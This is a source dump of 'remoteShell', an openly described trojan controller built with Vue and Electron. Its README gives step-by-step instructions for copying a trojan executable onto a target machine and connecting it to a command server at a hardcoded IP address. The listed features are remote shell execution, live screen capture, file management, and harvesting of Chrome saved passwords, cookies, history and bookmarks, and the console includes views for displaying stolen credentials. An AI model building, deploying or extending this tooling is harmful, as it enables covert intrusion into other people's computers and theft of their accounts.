├── .env.development
├── .env.production
├── .gitignore
├── README.md
├── babel.config.js
├── package.json
├── public
├── favicon.ico
└── index.html
├── src
├── App.vue
├── api
│ └── info.js
├── assets
│ ├── SHELL.png
│ ├── arrow-left.png
│ ├── arrow-right.png
│ ├── browser.png
│ ├── chrome.png
│ ├── empty.png
│ ├── file.png
│ ├── fileManage.png
│ ├── floderblue.png
│ ├── linux.png
│ ├── logo.ico
│ ├── mac.png
│ ├── screen.png
│ ├── stop.png
│ └── windows.png
├── background.js
├── components
│ └── Menu.vue
├── main.js
├── router
│ └── index.js
├── store
│ └── index.js
├── utils
│ ├── remoteWebsocketConfig.js
│ ├── request.js
│ └── statck.js
└── views
│ ├── browser
│ ├── bookmarks.vue
│ ├── cookie.vue
│ ├── history.vue
│ ├── index.vue
│ └── password.vue
│ ├── filemanage
│ └── index.vue
│ ├── index
│ └── Index.vue
│ ├── screen
│ └── index.vue
│ └── shell
│ └── index.vue
├── vue.config.js
└── yarn.lock
/.env.development:
--------------------------------------------------------------------------------
1 | # just a flag
2 | ENV = 'development'
3 |
--------------------------------------------------------------------------------
/.env.production:
--------------------------------------------------------------------------------
1 |
9 | # just a flag
10 | ENV = 'production'
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | node_modules
3 | /build
4 | *.exe
5 |
6 | # local env files
7 | .env.local
8 | .env.*.local
9 |
10 | # Log files
11 | npm-debug.log*
12 | yarn-debug.log*
13 | yarn-error.log*
14 | pnpm-debug.log*
15 |
16 | # Editor directories and files
17 | .idea
18 | .vscode
19 | *.suo
20 | *.ntvs*
21 | *.njsproj
22 | *.sln
23 | *.sw?
24 |
25 | #Electron-builder output
26 | /dist_electron
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | #
简单植马器
2 | # remoteShell
3 | # 📌项目基本介绍
4 | ## 项目地址
5 | [https://github.com/OblivionTime/remoteShell](https://github.com/OblivionTime/remoteShell)
6 | ## 分支介绍
7 | 
8 | # 💨基本使用流程
9 | ## 下载文件
10 | [https://github.com/OblivionTime/remoteShell/releases](https://github.com/OblivionTime/remoteShell/releases)
11 |
12 | 
13 | ## 解压
14 | 
15 | ## 启动
16 | 先启动`remoteShellServer-win.exe`也就是先启动服务
17 | 
18 | 然后打开`马端控制.exe`
19 | 
20 |
21 | 然后将`config.json`和`remoteShellTrojan.exe`移植到目标机器上,根据`自己的服务器ip`地址修改`config.json`文件中的`hostname`和`port`,如果不知道看自己服务器ip的话可以在命令行输入`ipconfig`查看自己的ip
22 | 
23 | 修改完后双击运行`remoteShellTrojan.exe`即可,出现下面这种情况则表示连接成功
24 | 
25 | 去`马端控制`查看上线的机器
26 | 
27 |
28 | # ✨前端基本介绍
29 | ## 源码zip下载地址
30 | [https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/main](https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/main)
31 |
32 | ## ✨介绍
33 | 马端控制是基于`vue`和`electron`,使用`element-UI`框架,通过websocket进行数据传输,使用`ffmpeg.exe`实现简单的屏幕录制功能
34 | ## ❗功能
35 | 1. shell命令执行
36 | 2. 实时屏幕
37 | 3. 文件管理
38 | 4. 获取chrome浏览器的书签,历史记录,网站保存的账号和密码,网站所有cookie
39 |
40 | ## ⚙️调试
41 | ```shell
42 | #拉取前端
43 | git clone https://github.com/OblivionTime/remoteShell.git
44 | # 安装依赖包
45 | yarn
46 | # 调试
47 | yarn serve
48 | # 打包
49 | yarn build
50 | ```
51 | ## 🖼️ 项目截图
52 | 
53 | 
54 | 
55 | 
56 | # ✨后端基本介绍
57 | ## 源代码zip下载地址
58 | [https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/server](https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/server)
59 |
60 | ## ✨介绍
61 | 后端主要通过纯nodejs,后端主要重要在于信息传输,并没有做任何的特殊处理,所以基本上很多功能代码相似
62 | ## ⚙️调试
63 | ```shell
64 | #拉取前端
65 | git clone https://github.com/OblivionTime/remoteShell.git
66 | git chekcout server
67 | # 安装依赖包
68 | yarn
69 | # 调试
70 | yarn serve
71 | # 打包
72 | yarn build
73 | ```
74 | # ✨马端基本介绍
75 | ## 源zip下载地址
76 | [https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/trojan](https://codeload.github.com/OblivionTime/remoteShell/zip/refs/heads/trojan)
77 | ## ✨介绍
78 | 马端纯nodejs实现,主要调用了以下几个库的基本使用
79 |
80 | 
81 | ## ⚙️调试
82 | ```shell
83 | #拉取前端
84 | git clone https://github.com/OblivionTime/remoteShell.git
85 | git chekcout trojan
86 | # 安装依赖包
87 | yarn
88 | # 调试
89 | yarn serve
90 | # 打包成win
91 | yarn build:win
92 | # 打包成mac
93 | yarn build:mac
94 | # 打包成linux
95 | yarn build:linux
96 | ```
97 |
98 | ## ⚙️ 配置项
99 | 
100 | `hostname`表示后端ip地址,`port`表示后端端口,如果当前目录下没有`config.json`文件则系统会自动默认为`localhost:7880`
--------------------------------------------------------------------------------
/babel.config.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | presets: [
3 | '@vue/cli-plugin-babel/preset'
4 | ]
5 | }
6 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "remoteShell",
3 | "version": "0.1.0",
4 | "private": true,
5 | "scripts": {
6 | "build": "vue-cli-service electron:build",
7 | "serve": "vue-cli-service electron:serve",
8 | "postinstall": "electron-builder install-app-deps",
9 | "postuninstall": "electron-builder install-app-deps"
10 | },
11 | "main": "background.js",
12 | "dependencies": {
13 | "core-js": "^3.6.5",
14 | "vue": "2.6.11",
15 | "vue-router": "^3.2.0",
16 | "vuex": "^3.4.0",
17 | "element-ui": "2.13.2",
18 | "axios": "^0.27.2",
19 | "xterm": "^5.0.0",
20 | "xterm-addon-attach": "^0.7.0",
21 | "xterm-addon-fit": "^0.6.0"
22 | },
23 | "devDependencies": {
24 | "@vue/cli-plugin-babel": "~4.5.15",
25 | "@vue/cli-plugin-router": "~4.5.15",
26 | "@vue/cli-plugin-vuex": "~4.5.15",
27 | "@vue/cli-service": "~4.5.15",
28 | "electron": "^13.0.0",
29 | "electron-devtools-installer": "^3.1.0",
30 | "sass": "^1.26.5",
31 | "sass-loader": "^8.0.2",
32 | "vue-cli-plugin-electron-builder": "~2.1.1",
33 | "vue-template-compiler": "2.6.11"
34 | },
35 | "browserslist": [
36 | "> 1%",
37 | "last 2 versions",
38 | "not dead"
39 | ]
40 | }
--------------------------------------------------------------------------------
/public/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/public/favicon.ico
--------------------------------------------------------------------------------
/public/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | <%= htmlWebpackPlugin.options.title %>
9 |
10 |
11 |
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/src/App.vue:
--------------------------------------------------------------------------------
1 |
9 |
10 |
11 |
12 |
13 |
20 |
21 |
22 |
当前服务器地址:
23 |
27 |
28 | 修改服务器地址
31 |
32 |
33 |
34 |
35 |
36 |
37 |
43 |
44 |
45 |
46 |
47 |
85 |
--------------------------------------------------------------------------------
/src/api/info.js:
--------------------------------------------------------------------------------
1 | /*
2 | * @Description:
3 | * @Version: 1.0
4 | * @Autor: solid
5 | * @Date: 2022-08-10 11:06:59
6 | * @LastEditors: solid
7 | * @LastEditTime: 2022-11-01 15:42:25
8 | */
9 | import request from '@/utils/request'
10 | //获取房间号
11 | export function RoomList(params) {
12 | return request({
13 | url: '/list',
14 | method: 'get',
15 | params,
16 | })
17 | }
18 | //修改备注
19 | export function updateNote(data) {
20 | return request({
21 | url: '/updateNote',
22 | method: 'post',
23 | data,
24 | })
25 | }
--------------------------------------------------------------------------------
/src/assets/SHELL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/SHELL.png
--------------------------------------------------------------------------------
/src/assets/arrow-left.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/arrow-left.png
--------------------------------------------------------------------------------
/src/assets/arrow-right.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/arrow-right.png
--------------------------------------------------------------------------------
/src/assets/browser.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/browser.png
--------------------------------------------------------------------------------
/src/assets/chrome.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/chrome.png
--------------------------------------------------------------------------------
/src/assets/empty.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/empty.png
--------------------------------------------------------------------------------
/src/assets/file.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/file.png
--------------------------------------------------------------------------------
/src/assets/fileManage.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/fileManage.png
--------------------------------------------------------------------------------
/src/assets/floderblue.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/floderblue.png
--------------------------------------------------------------------------------
/src/assets/linux.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/linux.png
--------------------------------------------------------------------------------
/src/assets/logo.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/logo.ico
--------------------------------------------------------------------------------
/src/assets/mac.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/mac.png
--------------------------------------------------------------------------------
/src/assets/screen.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/screen.png
--------------------------------------------------------------------------------
/src/assets/stop.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/stop.png
--------------------------------------------------------------------------------
/src/assets/windows.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/OblivionTime/remoteShell/f20bb12905b72bb896eca14f410d3815fcdd67b7/src/assets/windows.png
--------------------------------------------------------------------------------
/src/background.js:
--------------------------------------------------------------------------------
1 | /*
2 | * @Description:
3 | * @Version: 1.0
4 | * @Autor: solid
5 | * @Date: 2022-08-12 14:21:50
6 | * @LastEditors: solid
7 | * @LastEditTime: 2022-11-01 15:36:36
8 | */
9 | 'use strict'
10 | import { app, protocol, BrowserWindow } from 'electron'
11 | import { createProtocol } from 'vue-cli-plugin-electron-builder/lib'
12 | const isDevelopment = process.env.NODE_ENV !== 'production'
13 |
14 | // Scheme must be registered before the app is ready
15 | protocol.registerSchemesAsPrivileged([
16 | { scheme: 'app', privileges: { secure: true, standard: true } }
17 | ])
18 | const winURL = isDevelopment
19 | ? `http://localhost:8888/`
20 | : 'app://./index.html'
21 | async function createWindow() {
22 | // Create the browser window.
23 | const win = new BrowserWindow({
24 | width: 1200,
25 | useContentSize: true,
26 | height: 600,
27 | webPreferences: {
28 | nodeIntegration: true,
29 | contextIsolation: false
30 | }
31 | })
32 | win.maximize();
33 | if (isDevelopment) {
34 | win.webContents.openDevTools()
35 | } else {
36 | win.setMenu(null);
37 | createProtocol('app')
38 | }
39 | win.loadURL(winURL)
40 | }
41 |
42 |
43 | // Quit when all windows are closed.
44 | app.on('window-all-closed', () => {
45 | // On macOS it is common for applications and their menu bar
46 | // to stay active until the user quits explicitly with Cmd + Q
47 | if (process.platform !== 'darwin') {
48 | app.quit()
49 | }
50 | })
51 |
52 | app.on('activate', () => {
53 | // On macOS it's common to re-create a window in the app when the
54 | // dock icon is clicked and there are no other windows open.
55 | if (BrowserWindow.getAllWindows().length === 0) createWindow()
56 | })
57 |
58 | // This method will be called when Electron has finished
59 | // initialization and is ready to create browser windows.
60 | // Some APIs can only be used after this event occurs.
61 | app.on('ready', async () => {
62 | createWindow()
63 | })
64 |
65 |
--------------------------------------------------------------------------------
/src/components/Menu.vue:
--------------------------------------------------------------------------------
1 |
9 |
10 |
26 |
27 |
28 |
77 |
78 |
--------------------------------------------------------------------------------
/src/main.js:
--------------------------------------------------------------------------------
1 | /*
2 | * @Description:
3 | * @Version: 1.0
4 | * @Autor: solid
5 | * @Date: 2022-08-12 14:20:59
6 | * @LastEditors: solid
7 | * @LastEditTime: 2022-11-01 10:12:47
8 | */
9 | import Vue from 'vue'
10 | import App from './App.vue'
11 | import router from './router'
12 | import Element from 'element-ui'
13 | import 'element-ui/lib/theme-chalk/index.css';
14 | Vue.use(Element)
15 | Vue.config.productionTip = false
16 |
17 | new Vue({
18 | router,
19 | render: h => h(App)
20 | }).$mount('#app')
21 |
--------------------------------------------------------------------------------
/src/router/index.js:
--------------------------------------------------------------------------------
1 | /*
2 | * @Description:
3 | * @Version: 1.0
4 | * @Autor: solid
5 | * @Date: 2022-11-01 10:02:32
6 | * @LastEditors: solid
7 | * @LastEditTime: 2022-11-09 14:11:28
8 | */
9 | import Vue from 'vue'
10 | import VueRouter from 'vue-router'
11 | import Index from '../views/index/Index.vue'
12 | import SHELL from '../views/shell/index.vue'
13 | import Screen from '../views/screen/index.vue'
14 | import FileManage from '../views/filemanage/index.vue'
15 | import Browser from '../views/browser/index.vue'
16 |
17 | Vue.use(VueRouter)
18 |
19 | const routes = [
20 | {
21 | path: '/',
22 | name: 'Index',
23 | component: Index
24 | },
25 | {
26 | path: '/shell',
27 | name: 'SHELL',
28 | component: SHELL
29 | },
30 | {
31 | path: '/screen',
32 | name: 'screen',
33 | component: Screen
34 | },
35 | {
36 | path: '/file',
37 | name: 'file',
38 | component: FileManage
39 | },
40 | {
41 | path: '/browser',
42 | name: 'browser',
43 | component: Browser
44 | },
45 | ]
46 |
47 | const router = new VueRouter({
48 | mode: 'hash',
49 | base: process.env.BASE_URL,
50 | routes
51 | })
52 | export default router
53 |
--------------------------------------------------------------------------------
/src/store/index.js:
--------------------------------------------------------------------------------
1 | import Vue from 'vue'
2 | import Vuex from 'vuex'
3 |
4 | Vue.use(Vuex)
5 |
6 | export default new Vuex.Store({
7 | state: {
8 | },
9 | mutations: {
10 | },
11 | actions: {
12 | },
13 | modules: {
14 | }
15 | })
16 |
--------------------------------------------------------------------------------
/src/utils/remoteWebsocketConfig.js:
--------------------------------------------------------------------------------
1 | /*
2 | * @Description:
3 | * @Version: 1.0
4 | * @Autor: solid
5 | * @Date: 2022-08-18 12:24:36
6 | * @LastEditors: solid
7 | * @LastEditTime: 2022-11-01 10:18:55
8 | */
9 | "use strict";
10 | export var ipaddr=localStorage.getItem('ipaddr')?localStorage.getItem('ipaddr'):'101.34.204.112:7880'
--------------------------------------------------------------------------------
/src/utils/request.js:
--------------------------------------------------------------------------------
1 | /*
2 | * @Description:
3 | * @Version: 2.0
4 | * @Autor: solid
5 | * @Date: 2021-12-23 22:30:23 +0800
6 | * @LastEditors: solid
7 | * @LastEditTime: 2022-11-01 10:24:19
8 | */
9 | import axios from 'axios'
10 | import {ipaddr} from './remoteWebsocketConfig';
11 | var baseURL = `http://${ipaddr}`
12 | const service = axios.create({
13 | baseURL: baseURL,
14 | timeout: 50000
15 | })
16 | service.interceptors.request.use(
17 | (config) => {
18 |
19 | // config.url
20 | return config
21 | },
22 | (error) => {
23 | // do something with request error
24 | return Promise.reject(error)
25 | }
26 | )
27 |
28 | // response interceptor
29 | service.interceptors.response.use(
30 | /**
31 | * If you want to get http information such as headers or status
32 | * Please return response => response
33 | */
34 |
35 | /**
36 | * Determine the request status by custom code
37 | * Here is just an example
38 | * You can also judge the status by HTTP Status Code
39 | */
40 | response => {
41 | return response.data
42 | },
43 | error => {
44 | console.log(error);
45 | }
46 | )
47 |
48 | export default service
49 |
--------------------------------------------------------------------------------
/src/utils/statck.js:
--------------------------------------------------------------------------------
1 | /*
2 | * @Description:
3 | * @Version: 1.0
4 | * @Autor: solid
5 | * @Date: 2022-08-26 16:32:57
6 | * @LastEditors: solid
7 | * @LastEditTime: 2022-08-26 16:34:09
8 | */
9 | export class Stack {
10 | constructor () {
11 | this.items = []
12 | }
13 | // 返回的长度
14 | size () {
15 | return this.items.length
16 | }
17 | // 压栈(入栈)
18 | push (item) {
19 | this.items.push(item)
20 | }
21 | // 弹栈(出栈)
22 | pop () {
23 | return this.items.pop()
24 | }
25 | // 返回栈顶元素
26 | peek () {
27 | return this.items[this.items.length - 1]
28 | }
29 | // 清空栈
30 | clear () {
31 | this.items = []
32 | }
33 | // 判断是否空栈
34 | isEmpty () {
35 | return this.size() == 0
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/src/views/browser/bookmarks.vue:
--------------------------------------------------------------------------------
1 |
9 |
10 |
11 |
17 |
21 |
28 |
29 |
![]()
34 |
42 | {{ node.label }}
43 |
44 |
45 |
46 |
![]()
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
99 |
100 |
--------------------------------------------------------------------------------
/src/views/browser/cookie.vue:
--------------------------------------------------------------------------------
1 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
24 | {{ scope.row.value }}
25 |
26 |
27 |
28 |
29 |
30 |
31 | ✔️
32 | ❌
33 |
34 |
35 |
36 |
37 | ✔️
38 | ❌
39 |
40 |
41 |
42 |
43 | ✔️
44 | ❌
45 |
46 |
47 |
48 |
49 | ✔️
50 | ❌
51 |
52 |
53 |
54 |
55 |
56 |
57 |
82 |
83 |
--------------------------------------------------------------------------------
/src/views/browser/history.vue:
--------------------------------------------------------------------------------
1 |
9 |
10 |
11 |
12 |
13 |
21 |
22 |
![]()
29 |
37 | {{ item.title }}
38 |
39 |
40 |
41 |
![]()
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
80 |
81 |
--------------------------------------------------------------------------------
/src/views/browser/index.vue:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
12 |
13 | {{ titleList[SendData.operation] }}
14 |
15 |
16 |
cookie下载
22 |
23 |
刷新数据
28 |
29 |
30 |
35 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
82 |
83 |
84 |
85 |
86 |
87 |
251 |
252 |
289 |
--------------------------------------------------------------------------------
/src/views/browser/password.vue:
--------------------------------------------------------------------------------
1 |
9 |
10 |
11 |
12 |
13 |
21 |
22 |
![]()
29 |
30 |
用户名: {{ item.username }}
31 |
密码:{{ item.password }}
32 |
33 |
34 |
35 |
36 | {{ item.url }}
37 |
38 |
![]()
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
80 |
81 |
--------------------------------------------------------------------------------
/src/views/filemanage/index.vue:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
12 |
13 |
文件管理
14 |
15 |
22 |
27 |
28 |
29 |
30 |
31 | 上传
37 | 刷新数据
42 |
43 |
44 |
45 |
46 |
47 |
53 | ![]()
59 |
65 | ![]()
71 |
72 |
73 |
79 |
80 |
81 |
82 |
![]()
88 |
89 | {{ scope.row.fileName }}
90 |
91 |
92 |
93 |
94 |
100 |
101 | {{ scope.row.accessTime }}
102 |
103 |
104 |
110 |
111 | {{ scope.row.createTime }}
112 |
113 |
114 |
120 |
121 | {{ scope.row.updateTime }}
122 |
123 |
124 |
130 |
131 | {{ !scope.row.IsDir ? scope.row.size : "" }}
132 |
133 |
134 |
135 |
136 |
137 | 下载
144 | 删除
151 |
152 |
153 |
154 |
155 |
156 |
157 |
162 |
174 |
180 |
181 |
182 |
187 |
188 |
195 |
204 |
205 | 将文件拖到此处,或点击上传
206 |
207 |
217 |
218 |
219 |
220 |
221 |
605 |
606 |
640 |
--------------------------------------------------------------------------------
/src/views/index/Index.vue:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
12 | 目标机器在线列表
13 |
14 | 刷新数据
20 |
21 |
22 |
23 |
32 |

36 |
暂无目标机器在线
37 |
38 |
39 |
40 |
41 |
49 |
50 |
![]()
56 | {{ item.room }}
57 |
58 |
59 |
66 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
240 |
241 |
269 |
--------------------------------------------------------------------------------
/src/views/screen/index.vue:
--------------------------------------------------------------------------------
1 |
9 |
10 |
11 |
12 |
13 |
20 |
实时监控
21 |
22 |
23 |
24 |
30 |
31 |
32 | {{ current_time }}/{{ total_time }}
33 |
34 |
38 |
47 |
![]()
57 |
58 |
59 | 开始录制
60 |
61 |
62 |
63 |
64 |
65 |
![]()
66 |
67 |
68 |
69 |
70 |
222 |
224 |
--------------------------------------------------------------------------------
/src/views/shell/index.vue:
--------------------------------------------------------------------------------
1 |
9 |
10 |
13 |
14 |
120 |
122 |
--------------------------------------------------------------------------------
/vue.config.js:
--------------------------------------------------------------------------------
1 | /*
2 | * @Description:
3 | * @Version: 1.0
4 | * @Autor: solid
5 | * @Date: 2022-08-12 14:51:35
6 | * @LastEditors: solid
7 | * @LastEditTime: 2022-11-10 18:31:52
8 | */
9 | // const path = require('path')
10 | // const fs = require('fs')
11 | module.exports = {
12 | devServer: {
13 | port: "8888",
14 | // open: true,
15 | // https: {
16 | // cert: fs.readFileSync(path.join(__dirname, 'src/ssl/server.crt')),
17 | // key: fs.readFileSync(path.join(__dirname, 'src/ssl/server.key'))
18 | // },
19 | overlay: {
20 | warnings: false,
21 | errors: true
22 | },
23 | headers: {
24 | "Cross-Origin-Embedder-Policy": "require-corp",
25 | "Cross-Origin-Opener-Policy": "same-origin",
26 | },
27 | },
28 | pluginOptions: {
29 | electronBuilder: {
30 | builderOptions: {
31 | nsis: {
32 | allowToChangeInstallationDirectory: true,
33 | oneClick: false,
34 | installerIcon: "./src/assets/logo.ico", //安装logo
35 | installerHeaderIcon: "./src/assets/logo.ico", //安装logo
36 | "guid": "xxxx",
37 | "perMachine": true,
38 | "allowElevation": true,
39 | "createDesktopShortcut": true,
40 | "createStartMenuShortcut": true,
41 | "shortcutName": "remote"
42 | },
43 | "compression": "maximum", //压缩
44 | "asar": true,
45 | "directories": {
46 | "output": "build", //打包后指定目录
47 | },
48 | electronDownload: {
49 | mirror: "https://npm.taobao.org/mirrors/electron/" //镜像设置
50 | },
51 | win: {
52 | icon: './src/assets/logo.ico',
53 | "target": [
54 | {
55 | "target": "portable", //分块打包
56 | "arch": [
57 | "x64", //64位
58 | // "ia32" //32位
59 | ],
60 |
61 | }
62 | ],
63 |
64 |
65 | },
66 | productName: "remoteShell", //应用的名称
67 | },
68 | // nodeIntegration: true,
69 | }
70 | }
71 | }
72 |
--------------------------------------------------------------------------------